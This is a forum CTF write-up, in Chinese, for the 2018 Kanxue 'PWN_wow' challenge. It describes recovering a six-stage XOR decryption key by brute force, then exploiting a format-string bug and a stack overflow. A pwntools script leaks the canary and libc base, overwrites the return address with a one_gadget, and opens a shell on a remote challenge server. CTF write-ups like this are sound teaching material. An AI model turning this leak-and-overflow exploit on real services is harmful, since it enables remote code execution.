-
-
[原创]看雪CTF2018 - PWN_wow WriteUp
-
2018-6-21 22:09 2117
-
本题需要将代码进行6次动态异或解密,程序才能正常执行。按照惯例,先checksec一下,如图1,解题思路如下:
图 1
程序运行话,触发异常崩溃。将程序载入IDA后,发现代码加密,对加密之前的正常代码分析如图2,主要完成了将代码段权限设置为RWX,同时读入6字节,然后将6字节作为密钥对代码进行异或解密。
图 2
根据解密代码的分析,可知密钥长度为1,其中,一个判断条件是当前字节为0x90时,如果前一字节为0xFB,不能结束循环。因此,猜测解密后的代码一定包含0xFB90。
下一步,将加密部分提取出来,对其进行密钥暴力破解,如图3所示,
图 3
获取密钥候选值后,可逐个尝试,发现第一个密钥字节为e,第一阶段解密后如图4,
图 4
分析第一阶段解密代码,关键部分是第二阶段密钥的计算,即:当前密钥 ^ 输入的下一字节 = 新密钥,由之前获取的密钥候选值,反推输入的字符,例如:第二阶段的密钥为:0x13,那个第二个输入的字符为:'e' ^ 0x13 = 'v'。依次,分别测试密钥候选值,获得第一阶段至第五阶段的密钥分别为:e,0x13,K,%,D,反推输入为:e,v,X,n,a;第六阶段的密钥不能从候选值中找到,仔细观察每个阶段解密后的代码一样,可以推断第六阶段解密后的代码应该与之前一致,第五阶段代码首字节为0x48,第六阶段代码首字节为0x47,计算密钥为0x48 ^ 0x47 = 0xf,输入值应该为:0xf ^ D = K。因此,输入字符串为:evXnaK。
之后,分析漏洞代码,如图5所示,
图 5
漏洞比较明显,格式化字符串漏洞和栈溢出,可以利用格式化字符串泄漏canary和libc地址,然后溢出覆盖返回地址,利用代码如下:
#! /usr/bin/env python #-*- encoding:utf-8 -*- from pwn import * context.update(os = "linux", arch = "amd64", endian = "little") # p = process("./wow") p = remote("139.199.99.130", 65188) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") def info(s, addr): log.info("%s: 0x%X" % (s, addr)) def main(): one_gadget_offset = 0x45216 libc_main_start_offset = libc.symbols['__libc_start_main'] info("one_gadget_offset", one_gadget_offset) info("libc_main_start_offset", libc_main_start_offset) p.sendafter(p32(0xa785e785) + "\n\n***************************\n\n", "evXnaK") p.sendafter("wow!\n", "AAAA.%13$p.%15$p") line = p.recv(38) results = line.split(".") canary = int(results[1], 16) info("GS", canary) libc_base = int(results[2], 16) - libc_main_start_offset - 240 info("libc_base", libc_base) one_gadget_addr = libc_base + one_gadget_offset info("one_gadget_addr", one_gadget_addr) payload = "A" * 0x58 + p64(canary) + "A" * 8 + p64(one_gadget_addr) p.send(payload) p.interactive() if "__main__" == __name__: main()
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界
赞赏
他的文章
看原图